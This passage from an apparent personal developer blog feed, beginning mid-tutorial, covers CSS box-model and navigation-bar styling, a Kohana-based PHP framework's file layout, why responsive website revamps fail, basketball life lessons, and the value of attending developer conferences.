  height: 100px;
  background: orange;
  margin-top: 0;
  padding: 1px;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}

And the collapse magically disappears

Also, elements which are floated, and elements which are positioned absolutely never suffer from collapsed margins.

The box-sizing property

We also need to understand a CSS property called box-sizing. This property alters the default box model, which affects the way your browser calculates the width and height of your elements. There are two values this property accepts: content-box and border-box. By default, this property is set to content-box.

For example, we have some code for a simple div:

div {
  margin: 10px;
  border: 1px solid green;
  padding: 10px;
  height: 100px;
  width: 100px;
}

This div, by default (which means box-sizing: content-box;), will have its height and width measured by content only. Now, because it also has a border and some padding, the browser will recognise the dimensons of this div as 122px by 122px.

Content-box takes the width of the content only.

If we set a box-sizing: border-box; property to it, the browser sees things a little differently. The browser will consider the width and height of the content, padding and border, to be the dimensions of this div. So the width of the content box becomes 78px while the height of the content box becomes 78px.

Border-box includes padding and border widths

Alright, now that we've got all that covered, it's back to our scheduled programming.

Step 2: Style the navigation to match design (Attempt 2)

We want the clickable area take up the entire link box. We also need to have a delimiter that's the same height at the link text. And we want the underline to only cover the length of the text itself. Unfortunately, there's no straightforward way to do this.

Entire link box should be a clickable area

Let's try this styling thing one more time. To tackle the clickable area problem, we apply the padding to the a tag instead of the li like so:

li {
  display: inline-block;
}
a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem;
}

Note that a elements by default are display: inline and if you want the vertical padding to take, you'll have to set it to display: block (you can do display:inline-block too). So now the entire link box is clickable. But our underline ends up on the edge of the link box too.

Underline the link text when clickable area is hovered

To get around that problem, we'll have to wrap the link text with a span. I couldn't just use the text-decoration: underline property because it "doesn't look good". Instead, a white bottom border was used instead.

<nav>
  <ul>
    <li>
      <a href="javascript:void(0)"><span>Link 1</span></a>
    </li>
    <li>
      <a href="javascript:void(0)"><span>Link 2</span></a>
    </li>
    <li>
      <a href="javascript:void(0)"><span>Link 3</span></a>
    </li>
    <li>
      <a href="javascript:void(0)"><span>Link 4</span></a>
    </li>
  </ul>
</nav>

a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem;
  &:hover span {
    border-bottom: 2px solid white;
  }
}

There are advantages to this, in that there are more ways you can control the look of the underline as opposed to using text decoration. By using the :hover pseudo-class, we can trigger the span to display its white bottom border the moment the cursor enters the link box.

Okay, so far so good

Delimiter should be same height as text with equal horizontal spacing

If you followed along during that long interlude about the box model, you'd realise that this is quite tricky. Because we want the delimiter to be the same height as the text, we can't just apply a right border to the link box and call it a day (**glares at designer** ). How about applying the border to the span instead? Keep in mind that the box model goes content, then padding, then border, then margin. Padding will extend the content, but margin will not.

Applying a white 1 px right border to the span displays a delimiter that kisses the text (it is the right height, though). Okay, let's put in some right padding on the span as well. But padding also means that the underline will extend beyond the length of the text, not to mention it adds to the existing padding from the a already (╯°□°）╯︵ ┻━┻.

Well, that didn't come out right

Step 2: Style the navigation to match design (Attempt 3)

Third time's the charm (otherwise I might throw my keyboard out the window...just kidding). But we've learnt a lot from all those previous missteps. We now know we probably shouldn't use the span to handle the delimiter. There is one more thing we can use though, the :after pseudo-element. Pseudo-elements are mainly used for styling purposes, which suits the situation well.

a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem 0rem 1rem 1rem;
  &:after {
    content: "";
    display: inline-block;
    vertical-align: middle;
    width: 1px;
    height: 1rem;
    border-right: 1px solid white;
    margin-left: 1rem;
  }
  &:hover span {
    border-bottom: 2px solid white;
  }
}

Pseudo-elements are inline by default, so we set display: inline-block to allow us to style it accordingly. Because the pseudo-elements are inserted before or after the content of the element, a margin on the pseudo-element becomes an extension of the content of the element itself. So this additional space is still a clickable area.

The final touch is to remove the right padding on the a to compensate for the left margin on the pseudo-element. And we're finally done!

Update (@ 21 Feb 2016): Carlos Tur Arrom kindly pointed out that I forgot to remove the delimiter on the last link. To do that, we'll have to catch the last list item and remove the content in the :after pseudo-element from it. Instead of adding an additional class, I chose to use the :last-child pseudo-class.

li {
  display: inline-block;
  &:last-child a:after {
    border-right: none;
  }
}

In the event I have to add additional links to the menu in future, the code will still be valid. Anyway, thanks to Carlos' sharp eye for noticing! 😁

This took a while to get too =_=

If the amount of code on the pseudo-element gets to you, you can always just use the pipe character instead. The end result looks similar anyway.

a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem 0rem 1rem 1rem;
  &:after {
    content: "|";
    margin-left: 1rem;
  }
}

Wrapping up

In spite of all the time I spent building this particular navigation bar, I do appreciate the experience. I probably wouldn't have understood the box model completely if not for it. In the event my designer ever reads this article, please know that in spite of all the times I show my "angry developer face" (something like this ಠ_ಠ), I still love you all the same ❤️.

Introduction to the Base Framework

Mon, 15 Feb 2016 00:00:00 GMT

Update: The Kohana framework has been deprecated and the last stable version was 3.3.6 released on 25 July 2006.

I had previously only ever had experience with Drupal, which isn't an MVC (Model-View-Controller) framework. I had heard of MVC frameworks and even googled what it meant, but somehow it just did not click. After more than 2 years since my first professional start in web development, I'm more certain than ever that if I don't build something for real, my brain just refuses to learn. ¯\_(ツ)_/¯

The creator of the base framework (who also used to be my boss) had expressed intent to open-source it, eventually (when he's less busy). So maybe some day in the future, some developer may chance upon the framework and try it for their project. Hopefully this post will still exist then and be of help.

Le Framework (as explained by a noob)

The framework is based on Kohana, which is an MVC (Model-View-Controller) framework. It's unimaginatively called the Base Framework. Having been "brought up" on Drupal, I had been shielded from a lot of things, like routing. Drupal handles routing without me having to even think twice about it.

A static site doesn't really use any routing (I think), so I hadn't been exposed to the intricacies of routing up till that point. Imagine my surprise when I realised that typing the URL of the page I just created gave me this wonderful error screen.

My boss gave me a look reminiscent of one a renowned and powerful Jedi master gave his protégé.

My role was mainly front-end development, which meant that anything related to the Views was my domain. But that didn't mean I could get away with not understanding how the framework worked in totality. As I was wrapping my head around it, I figured I'd document my thoughts into some official-looking front-end developers documentation, which I am re-purposing into this blog post. #whynot

So...MVC?

Model represents the data structure. It does not depend on the controller or the view.

View displays the model data and sends user actions to the controller.

Controller provides the model data to the view and interprets user actions.

Views - The 'V' in MVC

The framework itself is very flexible. You are actually free to structure the project files however you like, but if you ever plan on being friends with the other developers on your team, it is advisable to have some general guidelines. Our team structured the views folder like so:

views/
|-- admin/
|
|-- front/
|   |-- common/
|   |-- page/
|   `-- template.php
|
`-- mobile/

Views for the admin interface are placed in the admin folder, while those for the front-facing website are placed in the front folder. Common elements like the head, navigation, header, footer and so on should be in individual .php files, placed in the common folder. These blocks of code are called via the following statement in the template.php file:

<?php echo View::factory('common/FILE_NAME'); >

The template.php file determines the structure of the HTML document and is called via the default.php file in the controller folder.

Model and Controller - The 'M' and 'C' in MVC

The classes folder houses the controller and model portions of the framework. The file structure looks something like this:

classes/
|-- controller/
|   |-- admin/
|   |
|   |-- front/
|   |   `-- default.php
|   |
|   `-- mobile/
|
|-- model/
|
`-- kohana.php

In general, front-end developers will not make changes to the model. The controller will handle routing for the application and some of the business logic. I have been told by other experienced back-end developers that controllers shouldn't even have business logic in them. I, being a noob at this, am not qualified (yet) to give advice in this domain, so please consult your resident back-end developer instead.

Using the Base Framework

The source code for the site is housed in the application folder, which has the following file structure:

application/
|-- bootstrap.php
|-- cache/
|-- classes/
|-- config/
|-- i18n/
|-- logs/
|-- media/
|-- messages/
|-- skin/
|-- vendor/
`-- views/

For front-end development, most of the work will be done in the skin and views folders. The Base Framework also comes with a number of developer-friendly conveniences too.

Using a new library

The media folder contains various external libraries used for development, like Bootstrap and jQuery UI, just to name a few. Of course, it is not mandatory to use them, but they have been included in the repository for the sake of convenience. That being said, my opinion on CSS frameworks is, roll your own, every time. This folder has the following structure:

media/
|-- css/
|-- fonts/
|-- img/
`-- js/

The framework was built to optimise (concatenate, minify and cache) CSS (and SCSS) and JS files via the config/media.php file. We can create groups to better organise your scripts, and determine their order. For example:

'groups' => array(
  // Begin: CSS groups
  'css' => array(
    'responsive' => array(
      'foundation/normalize.css',
      'foundation/foundation.css',
    ),
    'fluid' => array(
      'reset.css',
      'fluid.css',
      'text.css',
      'forms.css',
      'buttons.css',
      'sprite.css',
      'listing.css',
      'shared.css',
    ),
  ),
  'js' => array(
    'essential' => array(
      'lazyload.js',
      'underscore.js',
      'jquery.js',
      'jquery-ui.min.js',
      'bootstrap.min.js',
    ),
  ),
)

In the above example, styles in reset.css will come first, followed by{" "} fluid.css and so on. As such, all the dependencies can be managed from this configuration file. Groups of scripts can be called by name-spacing the file as follows:

<?php echo html::style('media/css/group-GROUP_NAME.css'); >
<?php echo html::style('media/js/group-GROUP_NAME.js'); >

To add a new library, just add those files into their relevant folders in the media folder:

media/
|-- css/
|-- fonts/
|-- img/
`-- js/

Once the library files have been added to their respective folders, those files must be referenced in the config/media.php file. There is documentation within the media.php file on how use this file correctly (because my boss is a responsible developer).

The purpose of separating external library files from custom code is for hygiene as well as ease of upgrading. This is a concept that I learned when I was doing Drupal, but I think it applies to all frameworks in general. Any custom code or overrides should go into the skin folder, which has the following file structure:

skin/
|-- admin/
|   |-- css/
|   |-- img/
|   `-- js/
|
|-- front/
|   |-- css/
|   |-- img/
|   `-- js/
|
`-- mobile/
    |-- css/
    |-- img/
    `-- js/

Building and styling pages

Let's say we want to add a gallery page to the project. First, add a gallery.php file to the views/page folder. Routing for the front page is usually handled in the default.php file in the classes/controller/front/ folder. I managed to find a pretty good explanation for the routing system used by Kohana written by Zack Purdue. Read it and you will understand why the following route needs to be added inside the Controller_Front_Default class:

public function action_gallery() {
  $tpl = $this->template;
  $tpl->content = View::factory('page/gallery');
}

The default CSS file is named global.css and will contain the custom styles for the admin portion and front-facing portion of the site respectively. You can always change the name of the file, and change the corresponding line in the template.php file to get it to load. For CSS styles that only apply to a particular page, name-space the stylesheet as follows:

view-FOLDER_NAME-FILE_NAME.css

JavaScript is also handled in a similar way. There is a global.js file which contains functions that are called on every page. If there are page-specific JavaScript functions, the file should be name-spaced like so:

view-FOLDER_NAME-FILE_NAME.js

When we need to add custom styling to our pages and components, these code overrides will be made in the skin folder. For this example, we will refer to the front folder, but the other folders should follow the same structure as well.

front/
|-- css/
|   |-- global.css
|   `-- view-page-gallery.css
|
|-- img/
`-- js/
   |-- global.js
   `-- view-page-gallery.js

Dealing with images

There are 3 folders in the Base Framework that are used to store images. Each folder serves a different purpose and images should be placed in their respective folders depending on their usage.

/assets
/application/media/img
/application/skin/SITE_SECTION/img

Assets folder: All content-related images should be stored here. Examples of content-related images are user images, product images or article images. These images are part of the site's content.

Media folder: All library-related images should be stored here. Some libraries that we use come with images, usually if they have a theme component. For example, if you use jQuery UI with a theme, the download comes with an image folder. If we want to use the pre-packaged theme, then those images go into the media/img folder.

Skin folder: All theme-related images should be stored here. As we style the site, we need to use icons and background images. These images should be placed in their respective img folders in the skin folder.

Wrapping up

That's pretty much it in terms of using the framework from a front-end developer's perspective. I will update this post to link to the source code of the framework once it's released to the wild. So stay tuned.

Why some large-scale responsive website revamps fail

Fri, 05 Feb 2016 00:00:00 GMT

Go into any pitch or brief for a website project and I'm fairly certain the word "Responsive" will be sprinkled liberally all throughout every conversation during the session. Whether or not everyone in the room fully understands what that word entails, is another thing altogether. But the matter of fact is, with access to the web becoming increasingly ubiquitous on an infinitely wide range of devices, responsive web design is here to stay. I personally can't even remember the last time I built a non-responsive site.

A website redesign project is a software development project. Companies and agencies who cannot understand this or lack the expertise to handle such projects tend to find themselves in a world of trouble as the project goes on. I'm sure we've all heard the adage "You never get a second chance to make a first impression". In most agencies, the sales and marketing departments are the ones making that first impression with the client. When there is a disconnect between the marketing department and the people who create the work, everybody involved will be in for a hard time.

There are a number of indicators that a website revamp will end up becoming a fire-fight, or even worse, fail altogether. Some of you can probably relate to this quite well. The statistics are alarming. According to a study done back in 2008, the failure rate of website projects was around 25%. A recent high-profile failure would be Healthcare.gov's failed launch. But it is important that we highlight these issues and how to mitigate them.

No clear digital strategy

Simply having a website or an app or two does not mean you've "gone digital". Your website is a tool to facilitate the digital experience, but a digital transformation is really much more than that. I highly recommend everyone who is involved in digital to read and internalise Paul Boag's Digital Adaptation.

By forming a digital strategy you have an opportunity to establish a firm direction for your online footprint, rather than being the victim of managerial whims. - Paul Boag

The decision to implement a responsive website is a solution. But what we need to ask is, was the problem properly defined and does this solution solve it? Without a clear digital strategy, we have no basis on which to make decisions on what the appropriate solutions should be. This is why it is important for senior management to be fully aware and supportive of the organisation's digital strategy.

All parties involved need to understand that the web is nothing like any other medium. The web is evolving at a neck-breaking pace, it is unpredictable, bordering on chaotic at times. We cannot hope to predict, control and manage this every-changing landscape. It is untenable to apply traditional business strategies, which operate on the premise that you can plan and budget for the next five years, to the web.

Insufficient experience and expertise

This is why it is crucial to have an experienced team well-equipped to traverse this landscape. The emphasis here is on team and close collaboration across various disciplines. The traditional waterfall approach of having specialists operating in silo and passing on the project from one phase to the next is no longer effective nor relevant.

For an agency who wishes to undertake such projects, it is mandatory that every person involved has strong digital backgrounds. It is not enough to simply understand the digital landscape yourself. To provide direction on how to navigate a landscape that is in a constant state of flux. Working together with the client to come up with the best approach for solving their business problems.

A responsive website is just one way to cater for mobile consumers. Depending on the nature of the business and the organisation's business strategy and objectives, maybe a native application is a better solution. There is no clear cut answer to which is better. The trick is to assess the needs of the business, then choose the solution with the best fit. Context is everything. The problem must be framed in the context of the organisation in question.

It takes expertise and experience from the digital team to not only come up with the most appropriate solution, but also, clearly articulate to senior management and relevant stakeholders why the solution was proposed, and how it can benefit the business.

Mismanagement of expectations

Without the aforementioned experience and expertise in handling responsive web projects, it is inevitable that the estimation of effort required will be terribly off the mark. The web is a reasonably young medium, and there is nothing quite like it. Stakeholders and management, who are not familiar with digital and the web, will not be able to gauge the complexity of the project. The onus thus falls on the digital team, be it internal or external, to flag out the high risk areas, and cater for worst-case scenarios accordingly.

Client or stakeholder education is of utmost importance at the beginning of the project. This is where expectations are set and impressions are made. The digital team is put in charge of the endeavour because they are supposed to be the experts in this field, and can provide the necessary guidance and direction to move the project forward. Stakeholders need to understand that there will be some unknowns that will only be unearthed once development actually begins.

It is impossible to educate another about something you do not fully understand. When the digital team lacks the requisite skills and experience, resulting in stakeholders with unrealistic expectations, the project will undoubtedly end up being a fire-fight or worse, fail altogether. A poorly scoped project, based on estimates given by someone who has no hands-on experience with the actual work required, is often a recipe for disaster.

Lack of transparency and communication

A responsive design is more than just displaying content nicely on different screen widths. A successful responsive design is heavily dependent on content, performance and user experience. All three are intertwined, which means that the content strategists, the UX researchers, designers and developers must all be on the same page. It has to be a collaboration across disciplines.

User research will drive the content and direction of the project, that in turn shapes the design, which impacts the architecture and development. Because every role brings something different to the table, communication is key. Developers understand the web more deeply than anyone else, and will be able to provide feedback on the feasibility and implications of certain design decisions. Designers will use their expertise to present the content in a way that best fits each use case. But the key thing here is, communication must take place throughout the process.

The digital team are not only domain experts, but they have to be able to explain what they do and why they do it in terms that clients and stakeholders can understand. In other words, they also have to be professional communicators. Without the proper buy-in from key decision makers, there is a high risk of the project collapsing like a house of cards.

There will inevitably be bumps in the process or issues that the team did not expect. We cannot hide these challenges from stakeholders and pretend everything is peachy. The team needs to be up front about any issues, why they came about and explain how the issues will be mitigated. By involving the stakeholders in the mitigation plan, they might provide valuable insight that contribute to solving the issue. Perhaps that feature did not have to built that way in the first place.

Building with sub-optimal processes

The meat of the project is the actual building of the website. Every website revamp must be built on clearly documented functional requirements. Some may argue that this is a relic from IT projects of the past that utilise a very water-fall approach, but I disagree. Functional requirements can take the form of user stories. This portion of the planning involves the digital team working very closely with the stakeholders to fully understand the nature and objectives of the business. The digital team's expertise comes into play when it comes to articulating those objectives into user stories that will form the backbone of the project.

From a design standpoint, a style-guide driven approach would allow for consistency throughout the site, as well as facilitate a more efficient front-end build. CSS architecture is especially important, but often overlooked. The challenge with CSS is that it is easy enough for most people to pick up, but takes effort and experience to architect well. The larger the project, the more critical it is to have working agreements on name-spacing, coding-style, file structure and a proper deployment process. Of course, this also applies to code of all languages that will be used in the project.

Building up a style guide of components early allows any inconsistencies in the design to be flushed out and discussed early. I've worked with high-fidelity comps provided by designers that had up to 7 or 8 shades of yellow. But upon clarification with the designer, it turns out that the client had asked her to make modifications so many times that she simply missed out updating all the relevant components. But if we had instead worked on low-fidelity static comps and translated them into HTML and CSS early, things like updating colour schemes would take much less time than if a designer had to change the colours in their static PSD files.

Wrapping up

Nobody starts a project with the expectation it will fail. Given the ubiquitous nature of the web today, an organisation's web presence is more important than ever before. It is something that will directly affect a business's bottom line. Those of us who live and work on and with the web need to advocate change for the better. Every one of us has the responsibility to constantly improve ourselves in terms of skills, knowledge and processes. Then, we need to educate those around us who do not do this for a living. We cannot simply shrug and accept the status quo, thinking we cannot make a difference. We can, we should and we must.

Credits: OG:image by Mim

Life lessons from the sport I love

Fri, 25 Dec 2015 00:00:00 GMT

People who got to know me within the past two years may see me as that nerd who loves to code. Fellow developers may think of me as that person with an irrational love for CSS. But for most of my life (even now, to be honest), I was "that basketball player".

I did not grow up in an athletic household. Nobody really did sports seriously. We were a typical Asian family, with typical Asian values of academic excellence. Throwing a ball around, albeit with high levels of skill and precision, didn't net you much in the achievements department.

I started playing organised basketball when I was 13, and that kick-started a journey that made me who I am today. Even though, at the time, it seemed like the elders of the household did not approve of this athletic endeavour, my siblings always had my back.

They didn't have to say it, but I felt it from their actions. In hindsight, I now realise how important that support was. Let's just say, I never really had any major self-esteem or confidence issues growing up.

There's a very clichéd saying that basketball doesn't build character as much as it reveals it. I think it does both. We were playing in the national semi-final for the under-14 school tournament, and our team was down by 2 points with time running out. And even though this was 14 years ago, I remember it like yesterday.

I called for the ball and drove to the hoop knowing I would be fouled. If I had made the shot anyway, and got the foul after, things would have been easier for everyone. But, you know, life. If I make both free throws, we would have tied, and who knows what would have happened in overtime. I missed one.
Shit.
Season over.

But I knew that I wanted the ball in my hands. I was going to have an impact on the ending regardless. So we lost, it wasn't like anybody died or anything, but I was pretty upset at the time. I remember making 22 free throws in a row the next day. Too little too late though. ¯\_(ツ)_/¯

Life lesson #1: Things don't always go your way. Pick yourself up, dust yourself off and move on.

I had a 2-hour commute to and from school at the time. And remember Asian values? I landed my ass in a pretty strong academic school and so, schoolwork + basketball + travel-time = 😱.

I learned pretty early on that trying to do everything at once is a recipe for failure. You'll just end up feeling so overwhelmed that you can't finish anything at all. But the ridiculous schedule meant I was forced to learn how to prioritise early on in my life.

Think of it this way. It's like when you're playing Assassin's Creed, you don't jump into an area filled with enemy guards, get yourself surrounded and take a beating. It's much easier to pick them off one by one. Same principle. Video games mirror life, people.

Overwhelming

Not so overwhelming

Life lesson #2: You can do anything. But you can't do everything. Prioritise your tasks, finish each one, and check it off your list.

As a forward/centre, I usually play in the post. The post players and perimeter players train separately while practising individual skills. A common complaint from the post players is that the perimeter guys don't pass the ball inside. And the perimeter players complain that it's impossible to make that pass because the post players aren't posting up properly.

At some point, the coaches had enough of that and told everybody to switch places. Meaning, the post players came out to the perimeter and the perimeter players posted up inside.

That was, how shall we put it, an interesting experience. The post players realised how stressful it was to try to make that entry pass to the post while a defender was draped all over you. And the perimeter players realised how much physicality was required to actually pin the defender behind you for those couple of seconds to get open for the pass.

This is much harder than it looks. For both parties.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

If you don't care for basketball at all, that probably didn't make any sense to you whatsoever. But the point is, when conflicts arise, try to put yourself in that other person's shoes. They have their struggles on the other side as well. Could you do what they are doing right now?

Life lesson #3: Don't be so quick to criticise until you've walked a mile in their shoes. Who's to say you wouldn't have done the same?

When I first joined the national team, I went from being a starter to a scrub. And that was a hard lesson to learn. The level of competition was different. I had always been a post player, but at the international level, I was way too small for that. I had to learn to play a position completely new to me, and fight for a spot on the team against players who had played that position their whole lives.

I realised that coming off the bench was harder than being a starter. Especially if you didn't know when your number would be called. But when it was, you'd better be ready to deliver. In that sense, the stakes were a little higher, because you'd enter the game cold and be expected to keep up the pace immediately. Playing time is a privilege, not a right, and that privilege is earned by doing the best you can whatever your role may be.

During the 2009 William Jones Cup, another team-mate and I were relatively junior and didn't play very much during the first couple of games. But as the tournament went on, we didn't do too badly. We definitely weren't the most skilled players at the time, so the only thing we could do was hustle, play defense and do the little things well. By the final 2 games, we were on the floor for more than the half the game.

Life lesson #4: Understand what your role is and how you fit in the grand scheme of things, then play that role the best you can.

I got the chance to play in the FIBA Asia Championships, the SEABA Championship and a couple other tournaments over the years. But there was tournament that I never made it to. That was the Southeast Asian Games (SEA games). This tournament meant everything, a gold medal guaranteed funding for the next 2 years.

In 2011, I had decided it would be my last year with the national team. As much as I loved chasing my dream of playing basketball, the matter of fact was, professional sports is not much of an option in this part of the world right now. It definitely wasn't easy. I got injured early in the year and had to work extra hard to get back to where I was. Rehab taught me a lot about patience, about mental toughness, and about listening to your body.

Despite my best efforts, I was one of the last players to get cut. To say I wasn't disappointed would be a lie, but I know I had put in my best effort already. Sometimes, your best effort just isn't enough.

Life lesson #5: Hard work gets you closer to success but does not guarantee it. If you're only fixated by the end result, then failure becomes devastating. But if you focus on the process, then the end result becomes secondary.

Even after I made the national team, I still felt as if the elders in my family didn't really approve of what I was doing. Both my parents worked, so I was largely brought up by my grandmother. And she'd use to say things like, when are you going to play until? Don't play until you fail your exams. Stuff like that.

Rationally, I could see where she was coming from. As someone who raised 3 kids on her own because my grandfather passed away rather early, she was very practical about life. But, deep down, all I wanted was for her to be proud of me. After I left home, I would still call back to tell her about where we were flying to for the next tournament, if we won or lost, and life in general. But I don't think she'd ever seen me play.

I was playing in a national league tournament in 2012 when I got the news that my grandmother had passed away. Although she wasn't in the pink of health, at 86, she was still sharp and could move around. Let's just say, nobody expected she'd go that quickly.

After the funeral, one of my relatives, who had been around while my grandmother's health took a turn for the worse, handed me a newspaper. It was a full page article about the tournament I was playing in and my photo was featured in it. She told me, that was pretty much the last thing my grandmother saw, and she was so proud. You bet I cried on that bus ride back to join my team.

I wished I had at least showed her videos of my games, but I always thought I wasn't good enough, that I'd wait to play the perfect game, then I'd show her. As fate would have it, we won that tournament. And I received my first MVP award of my career. But the person I most wanted to tell, wasn't around any more. It was 2 weeks too late.

The one game I wished I could have told my grandmother about.

Life lesson #6: If you have something you want to say or show to a loved one, do it now. There might not be a tomorrow.

My 6 year stint with the national team is an experience that is worth more than anything money can ever buy. When people find out that I gave up the opportunity pursue my tertiary education in Singapore to go back home to play basketball, they give me a look that says "You must be nuts". I say, there are hundreds of thousands of students who graduate University, but how many people get the chance to wear their national flag? 10 years ago today, I chased a dream. If I had to do it again a thousand times, I would have done the same.

Basketball has taught me a lot about life. And made me the person I am today. I'm thankful that I decided to stick with it despite the familial objections. It really is more than just a game.

Why developers should attend conferences

Sun, 01 Nov 2015 00:00:00 GMT

I live in the tropical island nation of Singapore. For those of you who have never heard of Singapore, it's a small island in the South China Sea. That ought to be a good enough geographical hint, right? I mean, you can't get any more explicit than that. The sea which is south of China, is definitely in Asia. Okay, lame geography session over. The point I want to make today is about conferences.

There are plenty of conferences for web developers these days. An Event Apart, Smashing Conference, JSConf, CSSConf, and these are just the big names. A full list would be pretty lengthy (Smashing Magazine publishes a list of upcoming events every 6 months).

My peeve is that almost all of these conferences take place in Europe or America. There seems to be a dearth of web development conferences in my part of the world. You might be thinking, who cares? What's the big deal about conferences anyway? Just a bunch of nerds talking about nerd stuff.

Well, first of all, nerds are essentially the ones running this planet already, so you probably don't want to piss us off (Then again, if you're reading this, odds are you're one of us). But the matter of fact is this, attending a conference with the right mindset can really push you forward to becoming a better developer than you currently are.

Our industry moves ridiculously fast, and it doesn't seem like we're slowing down any time soon. It does take a bit of effort on our part to keep up and attending a conference is a great way to do that.

A concentrated blast of great content

I haven't been to conferences in other industries so I'm not sure how things work there, but for developer conferences, a lot of value comes from the content. The pace of our industry ensures that there will always be fresh content on new technologies, the latest practices and innovative techniques. Most people are caught up in the daily grind of their 9-to-5 (or 9-to-9 for that matter), and don't have time to read articles, tutorials and books. Attending a conference is like receiving an instant power-up.

Of course, you won't become an expert just by showing up, but it really helps bring you up to speed so you can explore using these new technologies and techniques moving forward. That's infinitely better than not being aware of them at all.

Connecting with like-minded people

Although a lot of developers work in tech companies, there are a lot of us out there who work in other industries as well. I actually work in Advertising (keep the snarky comments to yourself, thanks). Our development team of 4 is pretty tiny in the grand scheme of things.

And almost everyone outside the development team don't really understand what's going on in our day-to-day. When my team and I talk shop, I can literally see their eyes glaze over. I mean, they sort of know what it is we do (type cryptic-looking text onto our screens while mumbling to ourselves) but not how it is we do it.

This is why I love going to meet-ups. It's not just talking about code (although that's often my favourite part), but also discovering different perspectives and approaches, learning about how other teams work, methods of collaboration, project architecture, workflows, this list will be endless. If you haven't been to a meet-up, you really should try it. A conference is essentially a 10x-ed meet-up.

But I am shy/am introverted/don't like people, you might say. Personally, I fall right smack in the middle of the spectrum, in that I don't get anxious meeting and talking to new people, but neither am I the type to get to know everyone in the room.

I usually develop a conversation with a small group of people and just continue that conversation throughout the meet-up. Some of you might find interacting with new people a draining experience. But I really do think that a conference is worth saving up your energy for. A lot of good stuff happens at meet-ups and conferences.

There's definitely opportunities to make new friends, meet potential clients, find interesting projects to collaborate on and generally just geek out on development-related topics.

Break up the monotony and get inspired

Regardless of how much you love your job, going through the same routine every single day will inevitably set you on some sort of an auto-pilot mode. Attending a conference breaks up this routine, especially if you need to travel to get there.

You get to wake up in a different place, eat different food, meet different people. Breaking out of auto-pilot can inspire new ideas, and conversations with new people can trigger your mind to think in ways you never thought of before.

It can also be a good way to recharge yourself. You won't be stuck in work meetings, or answering emails, or fixing bugs. For the duration of the conference, you get to free your mind from work and do something different instead. Who knows, a solution to that problem that you had been stuck on for weeks might come to you while you're tucking into some refreshments during the break.

Conferences in Asia, the lack thereof

As I mentioned earlier, there seems to be a dearth of developer conferences in Asia. Just quickly scan Lanyrd for upcoming web development conferences over the next 2 months and you'll be hard pressed to find any held in Asia (probably one or two).

As much as I would love to travel to America or Europe to attend one of them, money doesn't grow on trees. I usually end up signing up for online conferences (CSS Summit was a great one) or just hope that the conferences post their talk videos online. But that just covers the content part of things, not the connections part of it.

I have a theory on why conferences aren't so popular here. It's purely anecdotal so feel free to dismiss it, if you wish. I feel that a lot of developers here haven't realised the value of attending a conference. We don't have much of a conference culture here.

I'm pretty sure if you ask around, one of the reasons would definitely be, "My company doesn't want to pay for this. So I'm not going." Let's face it, conference tickets don't come cheap. But that's also because organising a conference is a very hard thing to pull off. I feel developers need to see conference attendance as an investment in oneself.

The insights we can glean, the knowledge and techniques we pick up, the potential connections we make, are definitely worth the price of admission and then some. Attending a conference will not instantly boost your profit margin or give you a raise.

But you get back from a conference as much as you put in it. If we fully immerse ourselves in the conference experience, speaking with other attendees, making notes during talks, engaging with the speakers when the opportunity arises, the returns on this investment will serve us well long after the conference is over.

Dev.Fest Asia 2015

What we lack in volume, we make up in quality. Although we don't have a big-name conference every other fortnight, we do have an awesome event this year. Dev.Fest Asia 2015 is Southeast Asia's first community organized web developer festival taking place from Nov 12 till Nov 22. It's a week-long event filled with workshops and meet-ups, building up to the main events of CSSConf.Asia 2015 on Nov 18 and JSConf.Asia 2015 on Nov 19-20.

CSSConf.Asia 2015

JSConf.Asia 2015

The speaker line-up is fantastic, including "the father of SVG", Chris Lilley, co-creators of CSS modules, Mark Dalgleish and Glen Maddern, developer evangelist, Christian Heilmann, just to name a few. You can buy tickets for CSSConf.Asia and JSConf.Asia here.

If you need to convince your boss to let you go, feel free to use any of the points raised in this article. Maybe they'll even pay for your ticket ٩(^ᴗ^)۶. Regardless, the value you'll receive from attending these conferences is definitely way more than the price of admission, so don't wait any longer, buy your conference ticket now and level yourself up at DevFest.Asia 2015.